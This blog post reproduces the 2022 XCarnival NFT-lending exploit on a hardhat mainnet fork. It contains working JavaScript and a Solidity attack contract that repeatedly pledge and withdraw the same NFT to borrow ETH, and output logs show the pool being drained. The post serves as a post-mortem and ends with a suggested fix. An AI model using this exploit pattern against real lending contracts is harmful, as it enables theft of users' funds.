Reproduce the XCarnival hack with hardhat

Due to a business logic bug in the XCarnival smart contract, it lost 3087 ETH to a hacker. XCarnival promptly negotiated with the hacker and got back 1467 ETH. You can find the original official post here.

This hack is quite interesting, first is the XCarnival contracts only deployed in less than one month, and second is that the neogotiation happened on Ethereum, you can visit the hacker address on etherescan and see all the neogotiations from the transactions listed there.

The official explanation of the hack is

The overall logic is that the hacker first generates multiple contract addresses, then goes to call the XNFT contract, pledges the NFT, then generates an orderld, then withdraws the NFT, multiple times this operation, then calls the XToken contract’s borrow() through the previous contract address as well as the orderld In the call to borrow(), there is no judgment that the NFT has been withdrawn, so the hacker borrowed and then did not pay it back, then keeps repeating this operation.

From what I found out, the hack can happen not only because there is no check whether the NFT has been withdrawn, but also because there is no check whether the NFT is already pledged. The hacker can generate as many orderIds as he/she wants with the same piece of NFT. The following is a list of the steps the hack could happen:

  1. the hacker bought some NFT, in this event, it's the 5110 from the BoredApeYachtClub which cost about 75 ETH
  2. the hacker approves the XNFT contract to spend his NFT.
  3. the hacker pledges the NFT, which transfers the NFT to XCarnival and generates an orderId which can be retrieved from event logs.
  4. the hacker borrows Ethereum using the orderId. This essentially transfers Ethereum from the XCarnival account to the hacker.
  5. the hacker withdraws the NFT, this is necessary to reset the owner of the NFT, so he can pledge the same NFT again. This step can be swapped with the previous step, as the borrow function in the XToken contract does not check whether the NFT has been withdrawn.
  6. repeat the above three steps, until all cash in XCarnival is drained

Dependencies

Clone and setup the project:

git clone https://github.com/cassc/xcarnival-test
cd xcarnival-test
npm i

We are using hardhat in this demo, you can find more information about hardhat here in this demo

Locating the contracts

The attack happens at the transaction 0x51cbfd46f21afb44da4fa971f220bd28a14530e1d5da5009cfbdfee012e57e35, we can locate all the contracts by tracing all the participants in the transactions. We can get almost all of the source code of the relevant contracts, except the contracts deployed by the hacker. If you don't want to go through etherscan to search and download the contracts, you can find the contracts from my repo at https://github.com/cassc/xcarnival-contracts.

Forking the mainnet

Thanks to hardhat, we can fork the Ethereum mainnet, we can also specify a block number to start with, this allows us to travel back in time. I'll use the block 15028719, which is before the hack happens and after the hacker bought the NFT 5110.

Add the following in the hardhat configuration hardhat.config.js, you can get endpoint from infura for free.

module.exports = {
  // ...
  networks: {
    hardhat: {
      forking: {
        url: "https://mainnet.infura.io/v3/[infura-api-key]", 
        blockNumber: 15028719,
      }
    }
  },
};

Unlock the hacker account

To perform our test, we need to have access to the hacker account, hardhat allows us to unlock any address, as if we have the private key of the address:

  await hre.network.provider.request({
    method: "hardhat_impersonateAccount",
    params: ["0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a"],
  });

Inspect the victim contracts

The two contracts of interest are XToken and XNFT. However thanks to the TransparentUpgradeableProxy pattern, all the non-admin contract invocations are delegated by the proxies, the contracts we need to interact with are actually at 0xb38707e31c813f832ef71c70731ed80b45b85b2d for XToken and 0xb14b3b9682990ccc16f52eb04146c3ceab01169a for XNFT respectively.

Create the attack

First we print out the balances of some addresses involved in the hack, just to confirm we are indeed at the expected history block:

const players = [
  {name: "exploiter", addr: "0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a", id: "exploiter"},
  {name: "xToken admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "xtokenAdmin"},
  {name: "Interest model admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "modelAdmin"},
  {name: "Controller admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "controllerAdmin"},
  {name: "xNFT admin", addr: "0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4", id: "xnftAdmin"},
  {name: "xAirDrop admin", addr: "0xc087629431256745e6e3d87b3ec14e8b42d47e48", id: "xairdropAdmin"},
];

for (const player of players){
  const addr = player.addr;
  const name = player.name;
  const balance = await ethers.provider.getBalance(addr);
  console.log(name, addr, "balance:", toEther(balance), "ETH");
}

We get the following, looks like we are at the right point of time in blockchain history:

exploiter 0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a balance: 27.69746933937151467 ETH
xToken admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
Interest model admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
Controller admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
xNFT admin 0x6d7bc3d418e8c482c49f6c1ebad901606d9c10a4 balance: 0.0 ETH
xAirDrop admin 0xc087629431256745e6e3d87b3ec14e8b42d47e48 balance: 0.345865709517814911 ETH

We can also get the balance held by the XCarnival contract,

console.log("Total XToken cash:", toEther(await xtoken.totalCash()));
// Total XToken cash: 3014.418576385059098519

Next we get the relevant contracts,

  const XToken = await ethers.getContractFactory("XToken");
  const exploiterSigner = await ethers.getSigner(exploiter);
  const xtoken = await XToken.attach(addr_proxy_xtoken).connect(exploiterSigner);

  console.log("XToken address:", xtoken.address);
  console.log("Total XToken borrows:", toEther(await xtoken.totalBorrows()));
  console.log("Total XToken cash:", toEther(await xtoken.totalCash()));
  console.log("Total XToken reserves:", toEther(await xtoken.totalReserves()));

  const XNFT = await ethers.getContractFactory("XNFT");
  const xnft = await XNFT.attach(addr_proxy_xnft).connect(exploiterSigner);

  const tokenId = 5110;
  const collectionAddr = "0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d"; // BAYC

  // https://hardhat.org/hardhat-runner/plugins/nomiclabs-hardhat-ethers#helpers
  // Get interface contract by deployed address
  // Hacker owns BAYC NFT 5110 
  const bayc = await ethers.getContractAt("IERC721Upgradeable", collectionAddr, exploiterSigner);

The exploiterSigner parameter is necessary when connecting to a deployed contract. The transactions created by subsequent contract invocations will be signed by the exploiterSigner instead of the hardhat default signer.

We try 10 attacks, try to borrow 30ETH each time with the same piece of NFT:

  let orderId = 0;
  // We can attack using many transactions
  console.log("Attack by sending many transactions without smart contract ...");
  const numTx = 10;
  for (let i=0; i<numTx; i++){
    await bayc.approve(xnft.address, tokenId);
    await xnft.pledge721(collectionAddr, tokenId);
    const filterPledgeEvent = xnft.filters.Pledge();
    const events = await xnft.queryFilter(filterPledgeEvent, -1); // Get events from last block
    orderId = _.last(events).args[2];
    console.log("Order Id after pledge:", orderId);

    xtoken.borrow(orderId, exploiter, ethers.utils.parseEther("30"));
    xnft.withdrawNFT(orderId);
  }

  console.log("Exploiter balance:", toEther(await ethers.provider.getBalance(exploiter)), "ETH");
  console.log("XToken total cash:", toEther(await xtoken.totalCash()));

This is what we get,

Attack by sending many transactions without smart contract ...
Order Id after pledge: BigNumber { value: "11" }
Order Id after pledge: BigNumber { value: "12" }
Order Id after pledge: BigNumber { value: "13" }
Order Id after pledge: BigNumber { value: "14" }
Order Id after pledge: BigNumber { value: "15" }
Order Id after pledge: BigNumber { value: "16" }
Order Id after pledge: BigNumber { value: "17" }
Order Id after pledge: BigNumber { value: "18" }
Order Id after pledge: BigNumber { value: "19" }
Order Id after pledge: BigNumber { value: "20" }
Exploiter balance: 297.654300729617051013 ETH
XToken total cash: 2714.418576385059098519

The attack works, just as explained in the XCarnival official blog.

We also notice that the orderId is sequential, this means we can calculate the next orderId if we know the previous orderId, this allows us to attack more efficiently using a smart contract:

contract Attack is IERC721ReceiverUpgradeable{
    // ...
    
    // the target contract uses sequential orderIds, so we can guess the next orderId
    // and use one function to attack
    function attack(uint256 _orderId, uint256 count) external onlyAdmin{
        uint256 orderId = _orderId;
        for (uint256 i=0; i<count; i++){
            pledge();
            borrow(orderId);
            orderId = orderId +1;
        }
    }
    
    // ...
}

And only two more transactions are needed to drain the XCarnival account:

  // We can also throuh an attacker contract
  // ...
  
  await attacker.attack(orderId, 50);
  orderId = orderId.add(50);
  await attacker.attack(orderId, 40);
  await attacker.withdraw();

  console.log("Exploiter balance:", toEther(await ethers.provider.getBalance(exploiter)), "ETH");
  console.log("XToken total cash:", toEther(await xtoken.totalCash()));
}

After these two transactions, we can see that the hacker can get almost all the Ethereum in the XCarnival account.

Attack by using smart contract ...
Exploiter balance: 3027.618537522880197826 ETH
XToken total cash: 14.418576385059098519

Summary

Even the hack that happened to XCarnival is very likely different from this demo, we can see that a simple mistake can lead to a huge disaster. Smart contract might be easy to implement in terms of functionality, but it's absolutely not trivial to make it secure. The popularity of libraries or frameworks like openzeppelin might remove the common bugs like integer overflow or re-entrancy bugs, but the developers are still responsible to make sure the business logic is correct.

As for this particular case, I think the collector address and tokenId should be used together, instead of the orderId, to check whether a person could borrow with a pledged NFT.

Source code of this demo can be found here. Thanks for reading!

Comment